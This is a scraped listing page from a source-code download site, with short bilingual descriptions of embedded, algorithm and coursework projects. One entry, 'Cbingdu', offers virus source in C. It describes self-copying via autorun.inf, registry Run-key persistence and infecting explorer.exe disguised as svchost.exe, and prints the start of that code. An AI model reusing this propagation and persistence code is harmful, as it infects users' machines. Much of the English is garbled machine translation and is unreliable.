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【Software Engineering】 ydbshujucaiji DL : 0: 数据采集系统：（1）采用定时中断和软件控制的方法，实现每隔N秒（N可设置）实现对模拟量的采集。（2）根据预先设置的数值和采集的模拟量决定控制输出。如假设控制中心值为2.0V，当输入值超过2.0±0.2(V)时，模拟控制步进电机转：正偏差时反转，负偏差时正转；当输入值超过2.0±0.5(V)时，进行上、下限报警。（3）对采集的值应进行数字滤波，如可一次采集10个值，去掉最大值、最小值，然后取平均值。（4）实现8路采集，不同路的中心值及上、下限等参数可灵活设置。 -Data acquisition system: (1) Use timer interrupt and software control, to achieve every N seconds (N can be set) of analogue collection. (2) According to the pre-set values and the decision to control the analog output. Assuming control center value of 2.0V, when the input exceeds 2.0 ± 0.2 (V), the analog control stepper motor turn: deviation is reversed, the negative deviation is transferred when the input exceeds 2.0 ± 0.5 (V) When carried out, the lower limit alarm. (3) the value of the collection should be digital filter, such as a collection of 10 value can, remove the maximum, minimum, and then averaged. (4) to achieve 8 collection, the center of value and different way, the lower limit and other parameters can be flexibly set.
Update : 2024-05-19 Size : 520192 Publisher : 杨冬波
【Software Engineering】 mobotix_sdk_1.0.1 DL : 0: Mobotix Ip camera SDK. CONTENTS I. WHAT IS THE MxPEG SDK C++ LIBRARY? I.1. OVERVIEW I.2. INTENDED AUDIENCE I.3. REQUIREMENTS I.4. AVAILABLE DISTRIBUTIONS I.5. LICENSING CONSIDERATIONS II. WHAT HAS CHANGED SINCE v0.9.1 III. COMPILATION III.1. A NOTE ON COMPONENTS III.2. BUILD SYSTEM SETUP III.3. SOURCE TREE DIRECTORY STRUCTURE III.4. COMPILATION ON WINDOWS AND UNDER MICROSOFT VISUAL C++ IV. SAMPLE APPLICATIONS IV.1. "mxgconv" - MxPEG STREAM CONVERTER IV.2. MxPEG Player - NO LONGER INCLUDED V. STATUS NOTES V.1. LIMITATIONS IN THIS RELEASE V.2. VERSION HISTORY-Mobotix Ip camera SDK. CONTENTS I. WHAT IS THE MxPEG SDK C++ LIBRARY? I.1. OVERVIEW I.2. INTENDED AUDIENCE I.3. REQUIREMENTS I.4. AVAILABLE DISTRIBUTIONS I.5. LICENSING CONSIDERATIONS II. WHAT HAS CHANGED SINCE v0.9.1 III. COMPILATION III.1. A NOTE ON COMPONENTS III.2. BUILD SYSTEM SETUP III.3. SOURCE TREE DIRECTORY STRUCTURE III.4. COMPILATION ON WINDOWS AND UNDER MICROSOFT VISUAL C++ IV. SAMPLE APPLICATIONS IV.1. "mxgconv" - MxPEG STREAM CONVERTER IV.2. MxPEG Player - NO LONGER INCLUDED V. STATUS NOTES V.1. LIMITATIONS IN THIS RELEASE V.2. VERSION HISTORY
Update : 2024-05-19 Size : 4336640 Publisher : allg
【Other Embeded program】 AD8330 DL : 0: ad8330英文资料更好的解释ad8330，内有ad8330框图，和框图原理，还有基本框图应用-ad8330FEATURES Fully Differential Signal Path May also be Used with Single-Sided Signals Inputs from 0.3 mV to 1 V rms, Rail-Rail Outputs Differential RIN = 1 k ROUT (Each Output) 75 Automatic Offset Compensation (Optional) Linear-in-dB and Linear-in-Magnitude Gain Modes 0 dB to 50 dB, for 0 V < VDBS < 1.5 V (30 mV/dB) Inverted Gain Mode: 50 dB to 0 dB at –30 mV/dB 0.03 to 10 Nominal Gain for 15 mV < VMAG < 5 V Constant Bandwidth: 150 MHz at All Gains Low Noise: 5 nV/√Hz typical at Maximum Gain Low Distortion: ≤–62 dBc Typ Low Power: 20 mA Typ at VS of 2.7 V – 6 V Available in Space Saving 3 3 LFCSP Package
Update : 2024-05-19 Size : 590848 Publisher : fei
【SCM】 dianzizhong DL : 0: 1 脚接+5V 2，3脚32768HZ晶振 4脚接地 5脚接S51的P02 6脚接S51的P01 7接S51的P00 8脚接后备电源，可以接老计算机主板上的3.6V电池，也可以通过二级管隔离接一个大容量电解电容电压在2.5V以上即可维持按键说明：1. 共三个键，低电平有效 2. P04 和 P05 同时按：初始化 3. P06 端口按键：选择要调整的项目 4. P05 端口按键：增加；P04端口按键：减少 [注:AT89S51使用12M晶振]-A pin connected+5 V 2,3 feet 32768HZ crystal 4 foot 5 foot ground access S51' s P02 6 P01 7 feet then S51 to S51 of the P00 8 feet then take back-up power supply, you can take an old computer motherboard 3.6V battery, but also connected by two tubes isolate a large-capacity electrolytic capacitor voltage can be maintained at 2.5V above key: 1. a total of three keys, low effective 2. P04 and P05 and press: initialization 3. P06 port button : Select the item to be adjusted 4. P05 port keys: increase P04 port button: reduce [Note: AT89S51 use 12M crystal]
Update : 2024-05-19 Size : 2174976 Publisher : 黄四
【matlab】 Blind_recognition_STBC DL : 0: The zip file contains several matlab files. These files implement the optimal vlassifier (optimal_classifier.m), a sub-optimal classifier (SOS_STBC_Classifier.m) which is based on Second Order Statistic and a low-complexity sub optimal code-parameter classifier (CP_Classifier.m). See reference [1] for the theoretical background. Example: To create the fig 3,4 and 5 of the paper, call the routine: Blind_recognition_STBC2_simulation_results(512,4, PSK ,4) Reference: [1] V. Choqueuse, M. Marazin, L. Collin, K. Yao and G. Burel "Blind recognition of STBC: A Likelihood-based Approach", IEEE Transactions on Signal Processing (IF: 2.33), vol. 58(3), pp : 1290-1299, March 2010.
Update : 2024-05-19 Size : 19456 Publisher : naarkhoo
【Other】 FLYBACKdi206 DL : 0: 3.67 W (10.5 V, 350 mA) 通用输入恒压恒流 LED驱动器反激式拓扑结构di206.-3.67 W (10.5 V, 350 mA) universal input constant voltage constant current LED driver flyback topology di206
Update : 2024-05-19 Size : 119808 Publisher : 高天宇
【Windows Develop】 Expreesion DL : 0: 一个表达式和一棵二叉树之间，存在着自然的对应关系。写一个程序，实现基于二叉树表示的算术表达式Expression的操作。【基本要求】【一】【必做部分】假设算术表达式Expression内可以含有变量（a-z）,常量（0-9）和二元运算符（+，-，*，/，^（乘幂））。实现以下操作：（1）ReadExpr(E)――以字符序列的形式输入语法正确的前缀表达式并构造表达式E。（2）WriteExpr(E)――用带括号的中缀表达式输出表达式E。（3）Assign(V，c)――实现对变量V的赋值（V=c），变量的初值为0。（4）Value(E)――对算术表达式E求值。（5）CompoundExpr(p,E1,E2)――构造一个新的复合表达式（E1）p（E2）。【二】【选做部分】（1）以表达式的原书写形式输入，支持大于0的正整数常量；（2）增加常数合并操作MergeConst(E)——合并表达式E中所有常数运算。例如，对表达式E=(2+3-a)*(b+3*4)进行合并常数的操作后，求得E=(5-a)*(b+12) 【测试数据】 1) 分别输入0；a -91 +a*bc +*5x2*8x +++*3^*2^x2x6并输出。 2) 每当输入一个表达式后，对其中的变量赋值，然后对表达式求值。 3) 还有很多测试的数据，详细请见附上的文件Test.txt。 -Between an expression and a binary tree, there is a natural correspondence. Write a program to realize the arithmetic expression based on Binary Tree for Expression of the operation. Basic requirements of】【【1】【will do some】 Suppose an arithmetic expression can contain variables in Expression (az), constant (0-9) and the binary operator (+,-,*,/,^( power)). To achieve the following: (1) ReadExpr (E)- in the form of a sequence of characters enter the correct prefix expression syntax and constructs the expression E. (2) WriteExpr (E)- with the infix expression with parentheses output expression E. (3) Assign (V, c)- to achieve the assignment of the variable V (V = c), the variable s initial value is 0. (4) Value (E)- E evaluation of arithmetic expressions. (5) CompoundExpr (p, E1, E2)- construct a new complex expression (E1) p (E2). 【2】【choose to do some】 (1) the original written form of expression input, support for constant positive integer greater than 0 (2)
Update : 2024-05-19 Size : 250880 Publisher : snake
【Embeded-SCM Develop】 O128647 DL : 0: （1）可输出电压：范围0～＋9.9V，步进0.1V，纹波不大于10mV。（2）可输出电流： 500mA。（3）可输出电压值由数码管显示。（4）由“+”、“-”两键分别控制输出电压步进增减。（5）为实现上述几部件工作，自制一稳压直流电源，输出输出± 15v,+5v。（6）自拟验收方案：对基本功能实现证明。 -(1) output voltage: range 0 ~+9.9 V, step 0.1V, ripple less than 10mV. (2) output current: 500mA. (3) The output voltage from the digital display. (4) from " +" ," -" two keys control the output voltage step increase or decrease, respectively. (5) To achieve the above a few parts of the work, made a regulated DC power supply, output Output ± 15v,+5 v. (6) Self-acceptance program: the realization that the basic functions.
Update : 2024-05-19 Size : 1024 Publisher : 张锋
【Embeded-SCM Develop】 33886PCB DL : 0: （1）可输出电压：范围0～＋9.9V，步进0.1V，纹波不大于10mV。（2）可输出电流： 500mA。（3）可输出电压值由数码管显示。（4）由“+”、“-”两键分别控制输出电压步进增减。（5）为实现上述几部件工作，自制一稳压直流电源，输出输出± 15v,+5v。（6）自拟验收方案：对基本功能实现证明。 -(1) output voltage: range 0 ~+9.9 V, step 0.1V, ripple less than 10mV. (2) output current: 500mA. (3) The output voltage from the digital display. (4) from " +" ," -" two keys control the output voltage step increase or decrease, respectively. (5) To achieve the above a few parts of the work, made a regulated DC power supply, output Output ± 15v,+5 v. (6) Self-acceptance program: the realization that the basic functions.
Update : 2024-05-19 Size : 201728 Publisher : 张锋
【DSP program】 DS12887 DL : 0: DS12CR887实时时钟芯片功能丰富，其正常工作电压为3.3 V，工作电压范围为2.97 V～3.63 V，是应用在DSP硬件电路中的理想时钟芯片。DSl2CR887的具体的特性如下： (1) 具有10字节RAM用来存储时间信息。能够自动产生年、月、日、时、分、秒、星期等时间信息，并且有时、分、秒的闹铃功能，温度25℃时每个月的时间误差在±1分钟以内。 (2) 内部自带电池，外部掉电时，温度25℃时其内部时间信息能够保持5年之久。 (3) 对于一天内的时间记录，有12小时制和24小时制两种模式。在12小时制模式中，用AM和PM区分上午和下午。 (4) 时间有二进制数和BCD码两种表示方法。 (5) 内置128字节RAM，其中10字节RAM用来存储时间信息，4字节RAM用来存储控制信息，称为控制寄存器，114字节的通用RAM可供用户使用。 (6) 用户还可对DS12C887进行编程 -DS12CR887 real-time clock chips, and the normal function of rich working voltage is 3.3 V, working voltage range as 2.97 V- a 3.63 V, is used in digital signal processor (DSP) hardware circuit of the ideal clock chip. The specific characteristics of DSl2CR887 are as follows: (1) is used to store the RAM 10 bytes. Automatically generate year, month, day, week, minutes and seconds, such time information, and sometimes, minutes and seconds of alarm functions, while 25 degrees Celsius temperature per month during the time error within ± 1 minute. (2) internal cabin batteries, external power, the internal temperature of 25 degrees Celsius can keep time information for 5 years. (3) for the time of day, 12 hours and 24 hours of two kinds of patterns. In 12 hours system model, AM and PM distinction in the morning and afternoon. (4) time is binary number and BCD two methods. Built-in 128 bytes (5), including 10 bytes RAM is used to store information, RAM four bytes RAM time is us
Update : 2024-05-19 Size : 72704 Publisher : ChenSheng
【Linux-Unix】 magent-0.6.tar DL : 1: magent 是一个简单，但非常有用的 memcached 缓存服务器的代理小程序。主要功能： • 保持到memcached服务器的多个连接 • 支持下列memcached指令 1. get gets 2. delete 3. incr decr 4. add set replace prepend append 5. cas • 基于 libevent 的事件驱动库 • 支持 ketama 算法 • 服务器备份 • unix domain socket 命令行参数： -h this message -u uid -g gid -p port, default is 11211. (0 to disable tcp support) -s ip:port, set memcached server ip and port -b ip:port, set backup memcached server ip and port -l ip, local bind ip address, default is 0.0.0.0 -n number, set max connections, default is 4096 -D do not go to background -k use ketama key allocation algorithm -f file, unix socket path to listen on. default is off -i number, max keep alive connections for one memcached server, default is 20 -v verbose -magent is a simple, but very useful memcached caching proxy server applet. Main features: • to maintain multiple connections to the memcached server memcached • support the following instructions 1. Get gets 2. Delete 3. Incr decr 4. Add set replace prepend append 5. Cas • event-driven based on libevent library • support ketama algorithm • • unix domain socket server backup command-line arguments:-h this message-u uid-g gid-p port, default is 11211. (0 to disable tcp support)-s ip: port, set memcached server ip and port-b ip : port, set backup memcached server ip and port-l ip, local bind ip address, default is 0.0.0.0-n number, set max connections, default is 4096-D do not go to background-k use ketama key allocation algorithm- f file, unix socket path to listen on. default is off-i number, max keep alive connections for one memcached server, default is 20-v verbose
Update : 2024-05-19 Size : 17408 Publisher : zzw
【JSP/Java】 Codejia.com_661c22bcd8a66c20f06f9faaddb10144 DL : 0: Struts新闻管理系统学习版： 8 L* ]2 ]& B0 Q- t5 a2 jStruts新闻管理系统学习版说明 " z o r. n7 g1 u9 {. [5 i& x & f k! F y/ ]+ T1.本程序为学习struts的朋友提供一个例子。" I) w8 R9 z w( c3 ? : ?7 y1 K) J& R! {3 a( T8 c1 a2.本程序部分实现AJAX功能，采用DWR框架。( h X+ M l, C7 X k( ]: z( f2 v5 e* J3.程序运行环境为MYECLIPSE 5.0 + TOMACT 5.5 + ORACLE 9i7 m ]5 a+ T9 ^0 p8 B5 e9 _ l9 v( q $ B: ` w* b k- P 4.配置说明：将lib目录下的commons-pool-1.2.jar，commons-dbcp-1.2.jar，ojdbc14.jar复制到TOMACT目录下的COMMON下的LIB目录中。 9 e, g8 n k X6 e H q$ h) K$ k- ^( \2 M 5.登陆用户名：test密码为空。-Struts News Management System Learning Edition: 8 L*] 2] & B0 Q-t5 a2 jStruts News Management System Learning Help " z o ' r. n7 g1 u9 {. [5 i & x & fk! F y /]+ T1. This process of learning struts friends provide an example. " I) w8 R9 z ' w (c3?:? 7 y1 K) J & R! {3 a (T8 c1 a2. implement AJAX functionality in this part of the program, using DWR framework. (h ' X+ M l, C7 X k (]: z (f2 v5 e* J3. running environment for MYECLIPSE 5.0+ TOMACT 5.5+ ORACLE 9i7 m' ] 5 a+ T9 ^ 0 p8 B5 e9 _ l9 v (q $ B: `w* b k-P 4. configuration instructions: The lib directory of the commons-pool-1.2.jar, commons-dbcp-1.2.jar, ojdbc14.jar copied to TOMACT directory COMMON LIB directory under. 9 e, g8 nk X6 e H q $ h) K $ k-^ (\ 2 M 5. Login Username: test password is blank.
Update : 2024-05-19 Size : 4976640 Publisher : 对心锁爱
【ARM-PowerPC-ColdFire-MIPS】 hardware DL : 0: UP-TECH 经典开发平台硬件说明书 http://www.up-tech.com 博创科技（UP-TECH） UP-TECH S2410/P270 DVP 经典开发平台硬件说明书简要目录一、经典开发平台硬件资源第 2 页二、经典开发平台的外部连接方式概况第 3 页三、S3C2410 ARM MPU 体系结构框图第 5 页四、经典开发平台硬件架构第 6 页五、部分电路原理说明-UP-TECH classic platform hardware manualS2410/P270 Classic Manual DVP brief catalog of hardware development platform for a classic hardware development platform on page 2 the second, the classic platform overview of the external connections on page 3 of the three, S3C2410 ARM MPU system block diagram on page 5 Fourth, the classic architecture first development platform 6 V, part of the circuit description
Update : 2024-05-19 Size : 1176576 Publisher : 余彦培
【Windows Develop】 PVoperation DL : 0: 实验中提供了 5 个信号量（s0-s4）和 20 个进程（pid 0-19）。在程序运行过程中可以键入 wait 命令，signal 命令和 showdetail 命令显示每个信号量的状态。具体输入解释如下： 1) wait 获取信号量操作（P操作）。参数： 1 sname 2 pid 。示例：wait(s1,2) 。进程号为 2 的进程申请名字为 s1 的信号量。 2) signal 释放信号量操作（V 操作）。参数 1 sname。示例：signal(s1)。释放信号量名字为 s1 的信号量。 3) showdetail 显示各信号量状态及其等待队列。 4) exit 退出命令行。-Experiments provides five semaphore (s0- s4) and 20 process (pid 0-19). The running of the application process Type in pro commands, signal commands and showdetail command shows each semaphore state. Specific input explain such as Next: 1) pro obtain semaphore operation (P operation). Sname 2 pid parameters 1. Example pro (s1, 2). Process for 2 process application, the name for s1 semaphores. 2) signal release semaphore operation (V operation). Parameter 1 sname. Example signal (s1). Release semaphore name for s1 the amount of signals. 3) showdetail shows every semaphore status and wait queue. 4) exit exit command line.
Update : 2024-05-19 Size : 2048 Publisher : Alex
【Special Effects】 ApplicationsOfDepth-FirstTraversal DL : 0: 1. 用ＤＦＳ判断一个无向图是否是连通图； 2. 为有向图的边分类，将它们的边分为前向边、后向边和交叉边； 3. 用ＤＦＳ和点消除求有向图的拓扑排序； 4. 判断有向图是不是强连通图，若不是，求强连通分量； 5. 判断有向图是不是半连同图； 6. 判断有向图是不是单连通图； 7. 判断无向图是不是双连通图。通过以上编程对ＤＦＳ的应用，进一步了解ＤＦＳ的算法及它所代表的算法思想。 -1. Using DFS to test if a given undirected graph is connected or not. 2. Classify the edges of a directed graph into tree edges, back edges, forward edges or cross edges by a depth-first traversal of the graph. If the given graph is undirected, classify the edges into tree edges and back edges. And verify if a directed or undirected graph has a cycle. 3. Compute the topological order of a directed graph using both DFS algorithm and source removal algorithm. 4. A strongly connected graph is a directed graph with every pair of vertices reachable from each other. A strongly connected component C of a directed graph G is a subset of maximal vertices such that every pair of vertices in the subset are reachable from each other. A strongly connected component graph GSCC of a graph G is a directed graph that each component C of G is considered as a single vertex in GSCC and there is an edge between components C1 and C2 if there exist an edge (u, v) in the graph G with u belongs to C1 and v
Update : 2024-05-19 Size : 10240 Publisher : 卢竹江
【Data structs】 BPlusTree DL : 0: B+树实现的完全代码。B+树定义文件，本程序实行一个简单的B+树 (1) 一个v阶的B+树由根结点、内部结点和叶子结点组成。 (2) 根结点可以是叶子结点，也可以是有两个或更多子树的内部结点。 (3) 每个内部结点包含v - 2v个键。如果一个内部结点包含k个键，则有且只有k+1个指向子树的指针。 (4) 叶子结点总是在树的同一层上。 (5) 如果叶子结点是主索引，它包含一组按键值排序的记录；如果叶子结点是从索引，它包含一组短记录，每个短记录包含一个键以及指向实际记录的指针。 (6) 内部结点的键值和叶子结点的数据值都是从小到大排序的。 (7) 在中间结点中，每个键的左子树中的所有的键都小于这个键，每个键的右子树中的所有的键都大于等于这个键。-B+tree to implement the function that insert, delete, query etc
Update : 2024-05-19 Size : 233472 Publisher : 王军杰
【Windows Develop】 PatternRecognition DL : 0: The file PatternRecognition.rar contains 5 projects and the corresponding source code implementing the algorithms used for pattern recognition in still images, audio and video files. It contains: i) Discrete Cosine Transform in c# ii) face detection algorithm in c++ iii) speech recognition algorithm in c++ iv) algorithm to identify similar images in c++ v) Video playing and processing algorithms in c#. These projects were compiled from the CodeProject websites. The detailed description can be found in the Readme.txt file.-Content of Readme.txt The decompressed folder PatternRecognition contains 5 subfolders including the source codes that implements the computer algorithms for intelligent processing of still images, audio and video information. They were collected and compiled from the codeproject a comprehensive website for source code sharing among software developers and researchers. The programs were implemented in c++ and c#. 1) Description: Implementation of face detection algorithm in c++ Folder: ./PatternRecognition/FaceDetection/facedetector_src.zip Download source: http://www.codeproject.com/KB/audio-video/face_detection.aspx 2) Description: Implementation of speech recognition algorithm in c++ Folder: ./PatternRecognition/SpeechRecognition/SR_src.zip Download source: http://www.codeproject.com/KB/audio-video/tambiSR.aspx 3) Description: Implementation of algorithm to identifiy similar images in c++ Folder: ./PatternRecognition/ContentBasedImageRetrieva
Update : 2024-05-19 Size : 2679808 Publisher : ben
【Other】 Cbingdu DL : 0: 1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件 2.在C、D、E盘中生成自动运行文件 3.注册c:\windows\system\svchost.exe，使其开机自动运行 4.在C:\windows\system下生成隐蔽DLL文件 5.病毒在执行后具有相联复制能力 1.在所有磁盘的根目录生成svchost.com和autorun.inf文件 2.生成病毒体： c:\windows\wjview32.com c:\windows\explorer.exe c:\windows\system32\dllcache\explorer.exe c:\windows\system\msmouse.dll c:\windows\system32\cmdsys.sys c:\windows\system32\mstsc32.exe 3.病毒体c:\windows\explorer.exe感染原explorer.exe文件，使其不需要修改注册表做到启动时在本病毒到目前为止任何杀毒软件都无法将其查杀本病毒单机默认使用对机器无害（破坏代码已屏蔽）提供病毒卸载程序（保存为X.BAT，双击运行即可卸载）：函数：制造垃圾文件 1.可以用于病毒开机自启动的注册表位置：-/* SVCHOST.C */ /* SVCHOST.EXE*/ #define SVCHOST_NUM 6 #include<stdio.h> #include<string.h> char*autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"} char*files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"} char*files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"} char*regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f" int copy(char*infile,char*outfile) { FILE*input,*output char temp if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen (outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input) fwrite(&temp,1,1
Update : 2024-05-19 Size : 7168 Publisher : 2626648
【Windows Develop】 CPPpinyin DL : 0: C++拼音输入法 a b c d e f g h i j k l m n o p q r s t u v w x y z 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 16--55 区为常见字，区位连续， 56--89为难检字，区位不连续。 index.dat 里前六列为拼音索引，中四列为索引字区位开始与结束位置，后四十列存放重音字和难见字区位。将要写入库的词组放入inputcizu.dat里，一次可以放入多个，且各个词组中间不能有分隔符，否则将识别错误，出现不正确的词组匹配。另外，程序默认识别二字词组，多字词也做相同处理，请朋友们自觉放入标准词汇，不要使词库失去其意义。由于字库只收录了16-55区的常见字，但有时可能需要一些复杂字，故提供了字库写入程序，同词库写入程序相类似，由于偷懒字只能通过源码写入，放入拼音和字，即可将该字加入拼音索引库。 ‘-’或‘=’为翻页键，‘a-z’或‘A-Z’输入拼音，空格和数字键选择所要字。-C++ pingyin
Update : 2024-05-19 Size : 29696 Publisher : 啊
【ELanguage】 LR-parser DL : 0: LR分析器设计给定说明语句的拓广文法G[S ]如下： (0) S ->S (1) S->v I:T (2) I->I,i (3) I->i (4) T->r 其中v代表终结符var,r代表real。其识别规范句型活前缀的DFA及LR(0)分析表如下: 输入状态 ACTION表 GOTO表 v i , : r # S I T 0 S2 1 1 acc 2 S4 3 3 S6 S5 4 r3 r3 r3 r3 r3 r3 5 S9 8 6 S7 7 r2 r2 r2 r2 r2 r2 8 r1 r1 r1 r1 r1 r1 9 r4 r4 r4 r4 r4 r4 编程实现此文法的LR分析器，并设输入的文法的句子为： var i , i , i : real 给出输出结果 -LR parser design Given that statement, The Extension of the grammar G [S ] as follows: (0) S -> S (1) S-> v I: T (2) I-> I, i (3) I-> i (4) T-> r One representative of terminator v var, r representative of real. Living patterns of its identification Specification prefix DFA and LR (0) analysis as follows: Input GOTO table table status ACTION v i,: r# S I T 0 S2 1 1 acc 2 S4 3 3 S6 S5 4 r3 r3 r3 r3 r3 r3 5 S9 8 6 S7 7 r2 r2 r2 r2 r2 r2 8 r1 r1 r1 r1 r1 r1 9 r4 r4 r4 r4 r4 r4 Programming LR parser article law, and set the input sentence is the grammar: var i, i, i: real Given output
Update : 2024-05-19 Size : 212992 Publisher : 浮云

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